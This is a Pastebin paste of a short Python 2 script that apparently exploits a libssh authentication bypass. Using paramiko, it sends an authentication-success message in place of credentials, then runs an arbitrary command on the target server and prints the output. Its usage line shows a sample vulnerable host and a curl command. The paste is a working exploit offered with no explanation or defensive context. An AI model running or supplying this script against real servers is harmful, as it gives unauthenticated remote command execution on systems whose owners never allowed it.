Advertisement
drpanwe

libssl3

Oct 20th, 2018
560
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.89 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import paramiko
  3. import socket
  4. import argparse
  5. import logging
  6. import sys
  7. import time
  8. import datetime
  9.  
  10. def BypasslibSSHwithoutcredentials(hostname, port, cmd):
  11.     sock = socket.socket()
  12.     try:
  13.         #logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
  14.         sock.connect((str(hostname), int(port)))
  15.         message = paramiko.message.Message()
  16.         transport = paramiko.transport.Transport(sock)
  17.         transport.start_client()
  18.  
  19.         message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
  20.         transport._send_message(message)
  21.         # ref:http://joelinoff.com/blog/?p=905
  22.         session = transport.open_session()
  23.         session.exec_command(cmd)
  24.         data = ''
  25.         maxseconds = 5
  26.         start = datetime.datetime.now()
  27.         start_secs = time.mktime(start.timetuple())
  28.         while True:
  29.                 if session.recv_ready():
  30.                     data = data+session.recv(2048)
  31.                 if session.exit_status_ready():
  32.                     break
  33.                 now = datetime.datetime.now()
  34.                 now_secs = time.mktime(now.timetuple())
  35.                 et_secs = now_secs - start_secs
  36.                 if et_secs > maxseconds:
  37.                     data = data+'\ntimeout'
  38.                     break
  39.         print data
  40.         return 0
  41.  
  42.     except paramiko.SSHException as e:
  43.         print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable")
  44.         return 1
  45.     except socket.error:
  46.         print("Unable to connect.")
  47.         return 1
  48.  
  49. def main():
  50.     try:
  51.         hostname = sys.argv[1]
  52.         port = sys.argv[2]
  53.         cmd = sys.argv[3]
  54.     except:
  55.         print("Usage: python vulnspy_libssh.py target.vsplate.me 2222 'curl www.vulnspy.com'")
  56.         exit(1)
  57.     BypasslibSSHwithoutcredentials(hostname, port, cmd)
  58.  
  59. if __name__ == '__main__':
  60.     exit(main())
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement